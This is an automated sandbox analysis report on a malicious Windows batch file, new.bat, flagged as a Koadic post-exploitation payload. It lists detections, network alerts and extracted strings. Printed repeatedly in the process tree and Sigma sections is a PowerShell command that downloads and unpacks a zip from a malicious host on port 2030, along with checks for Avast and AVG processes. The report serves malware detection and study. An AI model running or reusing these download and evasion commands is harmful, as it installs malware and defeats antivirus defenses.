Edit tour

Windows Analysis Report
new.bat

Overview

General Information

Sample name:	new.bat
Analysis ID:	1591648
MD5:	a9f0c3c76516726b8de37c169f6ddec5
SHA1:	2b54b22442e01cbe0a50d55e73b215ba0db20bbf
SHA256:	6c268d444cb90304d9d371318d6a84b1dee5ac31028fdb00139689d270097179
Tags:	batWsgiDAVuser-JAMESWT_MHT
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

AI detected suspicious sample

Loading BitLocker PowerShell Module

Powershell drops PE file

Suspicious powershell command line found

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 4460 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 5116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7508 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7792 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1728,i,17042775764427347121,15159452319379735921,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 7144 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

tasklist.exe (PID: 7180 cmdline: tasklist /FI "IMAGENAME eq AvastUI.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7192 cmdline: find /i "AvastUI.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

tasklist.exe (PID: 7276 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7284 cmdline: find /i "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

powershell.exe (PID: 7356 cmdline: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3804 cmdline: powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7660 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
new.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x60:$s2: :~0,1%% 0x6c:$s2: :~50,1%% 0x79:$s2: :~62,1% 0x88:$s2: :~46,1%% 0x95:$s2: :~52,1%% 0xa2:$s2: :~0,1%% 0xae:$s2: :~32,1%% 0xbb:$s2: :~56,1%% 0xc8:$s2: :~42,1%% 0xd5:$s2: :~56,1%% 0xe2:$s2: :~24,1%% 0xef:$s2: :~24,1% 0xfe:$s2: :~62,1%% 0x10b:$s2: :~52,1%% 0x118:$s2: :~33,1%% 0x125:$s2: :~50,1%% 0x132:$s2: :~56,1%% 0x13f:$s2: :~0,1%% 0x154:$s2: :~20,1%% 0x161:$s2: :~50,1%

Sigma Signatures

System Summary

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3804, TargetFilename: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7356, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7356, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7356, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7660, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:56:49.702321+0100	2036752	1	A Network Trojan was detected	154.216.17.175	2030	192.168.2.7	49713	TCP
2025-01-15T08:58:49.061894+0100	2036752	1	A Network Trojan was detected	154.216.17.175	2030	192.168.2.7	49713	TCP
2025-01-15T08:58:52.754674+0100	2036752	1	A Network Trojan was detected	154.216.17.175	2030	192.168.2.7	49713	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:55:20.994831+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49713	154.216.17.175	2030	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Source:	Binary string: D:\a\1\b\bin\amd64\_elementtree.pdb source: _elementtree.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: pyexpat.pyd.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: .pdbrc source: genindex-all.html.23.dr
Source:	Binary string: <li><a href="library/pdb.html#index-1">Pdb (class in pdb)</a>, <a href="library/pdb.html#pdb.Pdb">[1]</a> source: genindex-all.html.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testinternalcapi.pdb source: _testinternalcapi.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: _bz2.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testsinglephase.pdb source: _testsinglephase.pyd.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testcapi.pdb66 source: _testcapi.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testcapi.pdb source: _testcapi.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: _multiprocessing.pyd.23.dr
Source:	Binary string: <li><a href="library/pdb.html#index-2">.pdbrc</a> source: genindex-all.html.23.dr, genindex-F.html.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\winsound.pdb source: winsound.pyd.23.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036752 - Severity 1 - ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound) : 154.216.17.175:2030 -> 192.168.2.7:49713

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 49713

Source: global traffic

TCP traffic: 192.168.2.7:49713 -> 154.216.17.175:2030

Source: Joe Sandbox View	IP Address: 154.216.17.175 154.216.17.175
Source: Joe Sandbox View	IP Address: 154.216.17.175 154.216.17.175

Source: Joe Sandbox View

ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49713 -> 154.216.17.175:2030

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: jsnybsafva.info:2030Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Length: 48647090Last-Modified: Mon, 13 Jan 2025 10:41:57 GMTContent-Type: application/x-zip-compressedDate: Wed, 15 Jan 2025 07:55:20 GMTETag: "2d193989039d98b00696c89e57084361-1736764917-48647090"Accept-Ranges: bytesServer: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1Data Raw: 50 4b 03 04 14 00 00 00 00 00 89 ad ae 58 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 50 79 74 68 6f 6e 2f 4c 61 75 6e 63 68 65 72 2f 50 4b 03 04 14 00 00 00 08 00 56 76 89 58 6e a0 8c d3 34 34 06 00 18 b1 0b 00 16 00 00 00 50 79 74 68 6f 6e 2f 4c 61 75 6e 63 68 65 72 2f 70 79 2e 65 78 65 ec bd 7b 7c 14 45 b6 00 dc 93 4c c8 00 43 7a c0 89 8c 1a 21 40 d0 68 10 23 03 48 18 d0 f0 98 24 2a 81 09 31 13 10 13 58 17 e2 38 be 22 74 43 5c 09 04 3b b3 d2 16 ed 72 77 61 75 ef d5 bb b0 ea 5d 76 d7 dd c5 15 24 f8 c0 09 c1 3c 14 31 80 8b 28 e8 c6 5d 74 2b 0e 6a 80 18 06 09 e9 ef 9c aa ee c9 24 a0 7b ef f7 bb bf ef f7 fd 71 d1 74 57 57 9d 3a 75 ea d4 a9 f3 a8 aa ee 29 bc 6b a3 90 28 08 82 15 fe 74 5d 10 ea 04 fe 2f 57 f8 d7 ff 1c 16 41 48 19 f9 5a 8a b0 63 e0 7b a3 ea 2c 73 de 1b 75 67 e0 be 15 e9 95 cb 1f be 77 f9 8f 1e 4c ff f1 8f 1e 7a e8 61 29 fd 9e 65 e9 cb e5 87 d2 ef 7b 28 7d f6 bc e2 f4 07 1f 5e ba 6c fc 90 21 83 32 0c 1c 2b 27 4f 9e 33 a1 74 c1 48 f3 ef d1 1b 17 8d 98 c2 ee 65 23 5e 64 f7 bb 47 5c 03 f7 89 47 ca 46 38 d9 fd ee 11 e9 ec be 88 e5 7b 6e 7c 77 64 36 83 5b 38 62 12 c3 b1 70 e4 2c b8 97 1d f1 8d 70 b3 fb 6f 47 f2 fb 5d ec 79 fe 7d 3f 0e 60 3b df d7 27 9f 57 10 e6 58 92 84 ad f9 a9 15 66 5e 9b 90 60 19 6c 49 b9 46 b8 3c 41 10 96 0f 64 79 29 41 b8 38 e0 2f 1b f2 90 5b 98 86 e4 00 a3 8e 79 17 c2 83 19 73 3b 3f 1d 0c 7c ce 5d c7 00 11 36 76 8f dd d8 bf 4d 2d 09 c2 52 96 4a 14 ea fe d3 d6 5b f0 f8 60 c1 75 23 dc b7 0c 16 e8 e5 82 50 f0 46 82 70 a7 f0 fd ff d6 bf 9e d0 77 0c 81 ce 6d 96 ef 01 86 7f e3 a5 65 55 12 dc 7f ec 4c e0 04 61 5f ad 7d 61 d2 05 61 c9 f8 e5 4b 7f 24 fd 48 10 d6 3c 2f f0 be bf 00 f7 2b 13 fa c0 e5 c2 ff e3 39 18 e0 81 bf 36 28 b7 c3 7d cf 45 70 e1 f1 cb 57 2c ff 31 a4 79 5f 41 12 b7 c0 fd 9d 4b e0 5b be ec 81 87 01 10 fb 8e 3c 10 5c 70 0f 0e ee 0f 37 53 f8 bf 7f ff a3 7f 75 d1 6f 67 0a 0d fb 63 ff ea 3a fa 3e 97 90 93 ca 89 a8 e6 75 f8 82 82 2e db 75 d9 46 5b 74 f8 57 69 d5 b3 e9 d3 c7 05 41 d9 e7 22 9f 97 35 fc 00 fc af 62 f0 83 3f f9 5e 78 27 83 77 18 55 2a 62 55 c2 58 a5 45 57 f6 a5 85 c2 62 41 7d 7c d5 3e f5 5d ac be b3 17 c5 98 18 8a 1c 13 45 fa 25 50 f4 a3 37 a8 63 dd b3 3d ba 4e 6c 50 5b 69 b1 14 51 75 aa 05 a8 4e e3 f5 38 7c 9d 4d b0 08 74 bb 98 20 6c 15 da 66 0a ee 7d 6a 6d 86 15 b2 94 e9 ad c0 3e c1 5f 2a d6 3e 0e cc d5 bc 76 86 d6 a6 cd ce 70 06 84 1a 50 2f 94 f4 98 74 7d 0e dc 23 1d 80 59 69 d6 43 5d 62 41 47 a8 6b cd 3c 7d 12 62 00 78 bb 8f 2a 1e 6c d8 a6 4d 9b 2c ee 9a 3d cd e6 a3 b7 ce c0 0c 6b 28 2c 39 e7 ae 03 65 6d 11 56 4c 70 87 2b 54 28 0c 75 c9 1f 56 28 ab 33 6c 82 34 18 6a db 7c 7a ea c6 ec 99 02 d9 90 61 07 b0 c5 e5 ee fd f4 bd 62 68 0f 3a 41 3b 41 71 f4 ed 7f 9d cd 01 53 ab 2d a5 4f 7f 20

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: jsnybsafva.info:2030Connection: Keep-Alive

Source: random.html.23.dr	String found in binary or memory: <p><a class="reference external" href="https://www.youtube.com/watch?v=Iq9DzN6mvYA">Statistics for Hackers</a> equals www.youtube.com (Youtube)
Source: 2.6.html.23.dr	String found in binary or memory: <span class="k">with</span> <span class="n">closing</span><span class="p">(</span><span class="n">urllib</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="s1">'http://www.yahoo.com'</span><span class="p">))</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: jsnybsafva.info
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: urllib.parse.html.23.dr	String found in binary or memory: HTTP://www.Python.org/doc/#'
Source: opensearch.xml.23.dr	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 0000000C.00000002.2727432299.000001999B200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: urllib.parse.html.23.dr	String found in binary or memory: http://docs.python.org:80/3/library/urllib.parse.html?"
Source: urllib.parse.html.23.dr	String found in binary or memory: http://docs.python.org:80/3/library/urllib.parse.html?highlight=params'
Source: svchost.exe, 0000000C.00000003.1359061602.000001999AF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000A.00000002.3529796497.0000024638724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info
Source: powershell.exe, 0000000A.00000002.3530838111.000002463A5C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030
Source: powershell.exe, 0000000A.00000002.3530280593.0000024639F13000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3529753918.0000024638588000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3529222466.00000246384B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3529222466.0000024638498000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3529796497.0000024638724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030/FTSP.zip
Source: powershell.exe, 0000000A.00000002.3530280593.0000024639F13000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3578764175.0000024652529000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3529796497.0000024638724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 0000000A.00000002.3529222466.00000246384B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030/FTSP.zipuserUSERPROFILE=C:
Source: powershell.exe, 0000000A.00000002.3530838111.000002463ACD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3529796497.0000024638720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030/bab.zip
Source: powershell.exe, 0000000A.00000002.3529753918.0000024638588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030/bab.zip)
Source: powershell.exe, 0000000A.00000002.3529222466.0000024638498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jsnybsafva.info:2030/bab.zipH
Source: powershell.exe, 0000000A.00000002.3571387307.000002464A41F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3571387307.000002464A555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000000A.00000002.3530838111.000002463A5C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3578764175.0000024652543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.3530838111.000002463A3A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: urllib.parse.html.23.dr	String found in binary or memory: http://www.Python.org/doc/'
Source: powershell.exe, 0000000A.00000002.3530838111.000002463A5C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3578764175.0000024652543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: urllib.parse.html.23.dr	String found in binary or memory: http://www.cwi.nl/
Source: urllib.parse.html.23.dr	String found in binary or memory: http://www.cwi.nl/%7Eguido/FAQ.html'
Source: _elementtree.pyd.23.dr, _testsinglephase.pyd.23.dr, _testinternalcapi.pyd.23.dr, winsound.pyd.23.dr, _multiprocessing.pyd.23.dr, tk86t.dll.23.dr, _testcapi.pyd.23.dr, pyexpat.pyd.23.dr, _bz2.pyd.23.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: shutil.html.23.dr	String found in binary or memory: http://www.manpagez.com/man/3/copyfile/
Source: urllib.parse.html.23.dr	String found in binary or memory: http://www.python.org/%7Eguido'
Source: zlib.html.23.dr	String found in binary or memory: http://www.zlib.net
Source: zlib.html.23.dr	String found in binary or memory: http://www.zlib.net/manual.html
Source: powershell.exe, 0000000A.00000002.3530838111.000002463A3A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
